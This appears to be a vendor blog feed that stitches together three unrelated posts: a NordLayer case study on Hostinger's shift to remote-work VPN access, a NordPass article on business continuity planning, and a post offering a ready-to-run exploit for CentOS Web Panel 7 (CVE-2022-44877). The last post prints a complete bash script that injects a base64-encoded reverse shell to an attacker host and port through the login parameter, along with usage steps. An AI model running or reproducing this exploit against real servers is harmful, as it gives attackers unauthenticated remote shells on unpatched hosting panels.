How Hostinger onboarded a global remote team overnight with a 5-step plan
Hostinger is a hosting service provider for developers and their customers. With 1.2 million users worldwide and growing, the company works hard on improving customer support and continues updating its server technology for an even better customer experience. On the side, teams are fine-tuning home-designed hPanel, so the work there runs in a high pace environment.
To support business projects and a large customer base, Hostinger has several departments to maintain all the projects and services up and running. Therefore, originally based in Kaunas, Lithuania, the company now has an extensive team of over 1000 employees in 51 countries across the globe. Yet a large team brings its challenges in times of change. Egidijus Navardauskas, Head of Cybersecurity at Hostinger, gives his insider experience on their journey of implementing remote work in extreme situations.
The Challenge
Rapid organization onboarding to remote work during lockdown
Hostinger as most of the companies in the pre-pandemic time, lived a daily office-based life. However, it changed during Covid as all teams started working remotely and adjusting to the new way of living.
“Before the pandemic, we used to work from the office full time — there was no need for most of the teams to use an internal VPN solution except for a part of the IT staff.”
Once the lockdown period came into effect and workforce borders started expanding, the existing VPN solution limitations were revealed. It wasn’t initially built to scale sufficiently and provide a reliable VPN connection to handle the fast growth of remote employees in different countries.
The employee distribution and work from personal networks required the company to grant them a swift connection to internal resources. However, operational continuity was at high risk, and the current setup lacked role-based network access controls for maintaining security levels.
The Solution
Replace the existing VPN with a more agile solution
The employees used to work from the office all the time, and only a part of the IT staff was using an internal VPN solution as there was no need for most of the teams to access internal resources after working hours.
“As Hostinger had to move to a remote working model due to the pandemic and fast growth of remote employees in different counties, the existing VPN solution was not scalable enough to handle many users.”
Transitioning from an on-site environment to remote work quickly can be challenging for any business. Especially in the case of Hostinger, which experienced a sudden necessity to change its work and infrastructure approach.
Ad-hoc tasks are difficult to squeeze into tight schedules even in extreme circumstances, so time management and efficient distribution of resources are crucial — choosing the right solution from the first shoot is critical.
“Time shortage and lack of human resources, as all IT teams were very busy with their quarterly goals, were the additional factors that impacted the remote work situation.”
Therefore, the journey from identifying the issue, selecting a solution, and making the delivery had to be well-organized and smooth.
Why choose NordLayer?
NordLayer provided an optimal solution to change the existing company VPN and seamlessly integrate it into the current infrastructure.
Even though the requirements for a new VPN were extended to establish remote connections of the worldwide-distributed high number of employees to organizational resources and provide secure identity management measures to the IT administrators.
“NordLayer topped the shortlisted solutions by Hostinger by being the most cost-effective and easiest-to-manage option — this is how we chose the solution.”
When selecting a cybersecurity solution, Hostinger usually uses a risk-driven approach, and of course, the solution has to fulfill requirements that are suitable for our company’s needs. Following the practice ensures the organization’s main security goals, which are confidentiality, integrity, and availability of resources and data.
5 steps to onboard a global remote team overnight: decision-making process and proceeding with NordLayer
Clear steps and objectives helped Hostinger to optimize and streamline its process of problem-solving from understanding the current solution limitations — cannot scale with a growing team, what are the desired results — provide network access controls, meet compliance and security requirements, and provide backup servers, to overviewing the plan and implementing to the whole organization.
The Outcome
Fast adaptation to a crisis with extended security outcome
The company achieved a remote work setup on time, so business and team productivity weren’t affected. It all happened while facing a global lockdown with time and human resources limitations.
Today, all Hostinger employees use the solution daily as the team works in a hybrid model. We utilize ten private virtual gateways for our company needs — all this just having NordLayer and a 5-people cybersecurity team.
Most importantly, Hostinger employees can connect securely to internal resources no matter where they are. Moreover, the IT staff can focus more on other projects rather than maintaining internal VPN infrastructure — the service provider is responsible for the maintenance of the servers, so it saves a lot of valuable time.
Pro cybersecurity tips
The pandemic may start feeling like old news at some point the more time passes by, yet it was an unusual situation that had effects on businesses that reflect up to this day and will stay relevant in the future, like teaching to react to extreme situations to keep businesses running. Even though not everything can be foreseen, thus it’s beneficial to have a strategy and a sound plan in place to be well-prepared.
It’s good to start even from small things — Head of Cybersecurity of Hostinger Egidijus Navardauskas shares his tips for business security:
Have you considered how your organization would hold if stress-tested? What would be the main impediments to securing business continuity? Even expected challenges can bring to light lacking security and adoption of implemented infrastructure. Therefore, it’s always worth exploring the possibilities and performing crisis drills even on paper — be ready to ensure teams and organization perforation despite the work setup, and reach out to learn more about a remote access network solution for modern companies.
About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.
These days, cybercrime is rampant. It’s no longer a matter of “if” you’re going to suffer an attack but “when” it will happen. All companies want to be ready for any crisis. And this is where a business continuity plan comes into play.
But what is a business continuity plan exactly? Why is it important? What should one include? Today, we’re exploring all these questions in-depth.
What is a business continuity plan?
A business continuity plan (BCP) is a document that sets guidelines for how an organization will continue its operations in the event of a disruption, whether it’s a fire, flood, other natural disaster or a cybersecurity incident. A BCP aims to help organizations resume operations without significant downtime.
Unfortunately, according to a 2020 Mercer survey, 51% of businesses across the globe don’t have a business continuity plan in place.
What’s the difference between business continuity and disaster recovery plans?
We often confuse the terms business continuity plan and disaster recovery plan. The two overlap and often work together, but the disaster recovery plan focuses on containing, examining, and restoring operations after a cyber incident. On the other hand, BCP is a broader concept that considers the whole organization. A business continuity plan helps organizations stay prepared for dealing with a potential crisis and usually encompasses a disaster recovery plan.
Importance of business continuity planning
The number of news headlines announcing data breaches has numbed us to the fact that cybercrime is very real and frequent and poses an existential risk to companies of all sizes and industries.
Consider that in 2021, approximately 37% of global organizations fell victim to a ransomware attack. Then consider that business interruption and restoration costs account for 50% of cyberattack-related losses. Finally, take into account that most cyberattacks are financially motivated and the global cost of cybercrime topped $6 trillion last year. The picture is quite clear — cybercrime is a lucrative venture for bad actors and potentially disastrous for those on the receiving end.
To thrive in these unpredictable times, organizations go beyond conventional security measures. Many companies develop a business continuity plan parallel to secure infrastructure and consider the plan a critical part of the security ecosystem. The Purpose of a business continuity plan is to significantly reduce the downtime in an emergency and, in turn, reduce the potential reputational damage and — of course — revenue losses.
Business continuity plan template
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Business Continuity Plan Example
[Company Name]
[Date]
I. Introduction
Purpose of the Plan
Scope of the Plan
Budget
Timeline
The initial stage of developing a business continuity plan starts with a statement of the plan’s purpose, which explains the main objective of the plan, such as ensuring the organization’s ability to continue its operations during and after a disruptive event.
The Scope of the Plan outlines the areas or functions that the plan will cover, including business processes, personnel, equipment, and technology.
The Budget specifies the estimated financial resources required to implement and maintain the BCP. It includes costs related to technology, personnel, equipment, training, and other necessary expenses.
The Timeline provides a detailed schedule for developing, implementing, testing, and updating the BCP.
II. Risk Assessment
Identification of Risks
Prioritization of Risks
Mitigation Strategies
The Risk Assessment section of a Business Continuity Plan (BCP) is an essential part of the plan that identifies potential risks that could disrupt an organization’s critical functions.
The Identification of Risks involves identifying potential threats to the organization, such cybersecurity breaches, supply chain disruptions, power outages, and other potential risks. This step is critical to understand the risks and their potential impact on the organization.
Once the risks have been identified, the Prioritization of Risks follows, which helps determine which risks require the most attention and resources.
The final step in the Risk Assessment section is developing Mitigation Strategies to minimize the impact of identified risks. Mitigation strategies may include preventative measures, such as system redundancies, data backups, cybersecurity measures, as well as response and recovery measures, such as emergency protocols and employee training.
III. Emergency Response
Emergency Response Team
Communication Plan
Emergency Procedures
This section of the plan focuses on immediate actions that should be taken to ensure the safety and well-being of employees and minimize the impact of the event on the organization’s operations.
The Emergency Response Team is responsible for managing the response to an emergency or disaster situation. This team should be composed of individuals who are trained in emergency response procedures and can act quickly and decisively during an emergency. The team should also include a designated leader who is responsible for coordinating the emergency response efforts.
The Communication Plan outlines how information will be disseminated during an emergency situation. It includes contact information for employees, stakeholders, and emergency response personnel, as well as protocols for communicating with these individuals.
The Emergency Procedures detail the steps that should be taken during an emergency or disaster situation. The emergency procedures should be developed based on the potential risks identified in the Risk Assessment section and should be tested regularly to ensure that they are effective.
IV. Business Impact Analysis
The Business Impact Analysis (BIA) section of a Business Continuity Plan (BCP) is a critical step in identifying the potential impact of a disruption to an organization’s critical operations.
The Business Impact Analysis is typically conducted by a team of individuals who understand the organization’s critical functions and can assess the potential impact of a disruption to those functions. The team may include representatives from various departments, including finance, operations, IT, and human resources.
V. Recovery and Restoration
Procedures for recovery and restoration of critical processes
Prioritization of recovery efforts
Establishment of recovery time objectives
The Recovery and Restoration section of a Business Continuity Plan (BCP) outlines the procedures for recovering and restoring critical processes and functions following a disruption.
The Procedures for recovery and restoration of critical processes describe the steps required to restore critical processes and functions following a disruption. This may include steps such as relocating to alternate facilities, restoring data and systems, and re-establishing key business relationships.
The Prioritization section of the plan identifies the order in which critical processes will be restored, based on their importance to the organization’s operations and overall mission.
Recovery time objectives (RTOs) define the maximum amount of time that critical processes and functions can be unavailable following a disruption. Establishing RTOs ensures that recovery efforts are focused on restoring critical functions within a specific timeframe.
VI. Plan Activation
Plan Activation Procedures
The Plan Activation section is critical in ensuring that an organization can quickly and effectively activate the plan and respond to a potential emergency.
The Plan Activation Procedures describe the steps required to activate the BCP in response to a disruption. The procedures should be clear and concise, with specific instructions for each step to ensure a prompt and effective response.
VII. Testing and Maintenance
Testing Procedures
Maintenance Procedures
Review and Update Procedures
This section of the plan is critical to ensure that an organization can effectively respond to disruptions and quickly resume its essential functions.
Testing procedures may include scenarios such as natural disasters, cyber-attacks, and other potential risks. The testing procedures should include clear objectives, testing scenarios, roles and responsibilities, and evaluation criteria to assess the effectiveness of the plan.
The Maintenance Procedures detail the steps necessary to keep the BCP up-to-date and relevant.
The Review and Update Procedures describe how the BCP will be reviewed and updated regularly to ensure its continued effectiveness. This may involve conducting a review of the plan on a regular basis or after significant changes to the organization’s operations or threats.
What should a business continuity plan checklist include?
Organizations looking to develop a BCP have more than a few things to think through and consider. Variables such as the size of the organization, its IT infrastructure, personnel, and resources all play a significant role in developing a continuity plan. Remember, each crisis is different, and each organization will have a view on handling it according to all the variables in play. However, all business continuity plans will include a few elements in one way or another.
Clearly defined areas of responsibility
A BCP should define specific roles and responsibilities for cases of emergency. Detail who is responsible for what tasks and clarify what course of action a person in a specific position should take. Clearly defined roles and responsibilities in an emergency event allow you to act quickly and decisively and minimize potential damage.
Crisis communication plan
In an emergency, communication is vital. It is the determining factor when it comes to crisis handling. For communication to be effective, it is critical to establish clear communication pipelines. Furthermore, it is crucial to understand that alternative communication channels should not be overlooked and outlined in a business continuity plan.
Recovery teams
A recovery team is a collective of different professionals who ensure that business operations are restored as soon as possible after the organization confronts a crisis.
Alternative site of operations
Today, when we think of an incident in a business environment, we usually think of something related to cybersecurity. However, as discussed earlier, a BCP covers many possible disasters. In a natural disaster, determine potential alternate sites where the company could continue to operate.
Backup power and data backups
Whether a cyber event or a real-life physical event, ensuring that you have access to power is crucial if you wish to continue operations. In a BCP, you can often come across lists of alternative power sources such as generators, where such tools are located, and who should oversee them. The same applies to data. Regularly scheduled data backups can significantly reduce potential losses incurred by a crisis event.
Recovery guidelines
If a crisis is significant, a comprehensive business continuity plan usually includes detailed guidelines on how the recovery process will be carried out.
Business continuity planning steps
Here are some general guidelines that an organization looking to develop a BCP should consider:
Analysis
A business continuity plan should include an in-depth analysis of everything that could negatively affect the overall organizational infrastructure and operations. Assessing different levels of risk should also be a part of the analysis phase.
Design and development
Once you have a clear overview of potential risks your company could face, start developing a plan. Create a draft and reassess it to see if it takes into account even the smallest of details.
Implementation
Implement BCP within the organization by providing training sessions for the staff to get familiar with the plan. Getting everyone on the same page regarding crisis management is critical.
Testing
Rigorously test the plan. Play out a variety of scenarios in training sessions to learn the overall effectiveness of the continuity plan. By doing so, everyone on the team will be closely familiar with the business continuity plan’s guidelines.
Maintenance and updating
Because the threat landscape constantly changes and evolves, you should regularly reassess your BCP and take steps to update it. By making your continuity plan in tune with the times, you will be able to stay a step ahead of a crisis.
Level up your company’s security with NordPass Business
A comprehensive business continuity plan is vital for the entire organization’s security posture. However, in a perfect world, you wouldn’t have to use it. This is where NordPass Business can help.
Remember, weak, reused, or compromised passwords are often cited as one of the top contributing factors in data breaches. It’s not surprising, considering that an average user has around 100 passwords. Password fatigue is real and significantly affects how people treat their credentials. NordPass Business counters these issues.
With NordPass Business, your team will have a single secure place to store all work-related passwords, credit cards, and other sensitive information. Accessing all the data stored in NordPass is quick and easy, which allows your employees not to be distracted by the task of finding the correct passwords for the correct account.
In cyber incidents, NordPass Business ensures that company credentials remain secure at all times. Everything stored in the NordPass vault is secured with advanced encryption algorithms, which would take hundreds of years to brute force.
If you are interested in learning more about NordPass Business and how it can fortify corporate security, do not hesitate to book a demo with our representative.
About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.
About NordPass
NordPass is developed by Nord Security, a company leading the global market of cybersecurity products.
The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.
Unique exploit: CVE-2022–44877 Exploitation Tool
Here is the exploitation script of the Centos Web Panel 7 — CWP Unauthenticated RCE CVE-2022–44877
The script from here:
https://github.com/mhzcyber/CVE-Analysis/blob/main/CVE-2022%E2%80%9344877/CVE-2022-44877Exploit.sh
How to use the exploitation script:
Run listener:
Make the script executable:
chmod +x CVE-2022-44877Exploit.sh
Run the script:
./CVE-2022-44877Exploit.sh https://192.168.1.108:2031/ root 192.168.1.103 9001
Now we received a connection:
You can watch the exploitation script video here:
Code Explanation:
#!/bin/bash
function help {
echo "[-] USAGE: $0 Target_URL Target_username LHOST LPORT"
echo "[-] Example: $0 https://192.168.1.108:2031/ root 192.168.1.100 9001"
exit 1
}
function exploit {
target_url=$1
target_un=$2
lhost=$3
lport=$4
payload="sh -i >& /dev/tcp/${lhost}/${lport} 0>&1"
payload_base64=$(echo -n ${payload} | base64)
target_ip=$(egrep -o '([0-9]{1,3}[.]){3}[0-9]{1,3}' <<< ${target_url})
echo $target_ip
port=$(echo ${target_url} | grep -oP ':\K\d+')
echo $port
curl -i -s -k -X $'POST' \
-H $'Host: '${target_ip}':'${port} \
-H $'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'username='${target_un}'&password=test&commit=Login' \
-g ${target_url}'login/index.php?login=$(echo${IFS}'${payload_base64}'${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)'
}
if [[ $# -eq 4 ]]; then
exploit "$1" "$2" "$3" "$4"
else
help
fiThis script has two main functions: help and exploit.
The help function will be called if the user does not provide the correct number of arguments when running the script. It will display usage information and an example of how to run the script.
The exploit function takes four arguments: the target URL, the target username, the local host IP address, and the local port number.
First,
- the script defines the payload, which is a command that creates a reverse shell.
- The payload is then encoded in base64.
- It then extracts the target IP address from the URL and port number,
- and uses the
curlcommand to send a HTTP post request to the target with the payload in thelogin=parameter. - The payload is executed on the target server by base64 decoding the payload first and then running the command in bash.
#exploitation #tool #CVE-2022-44877
About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.
About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.
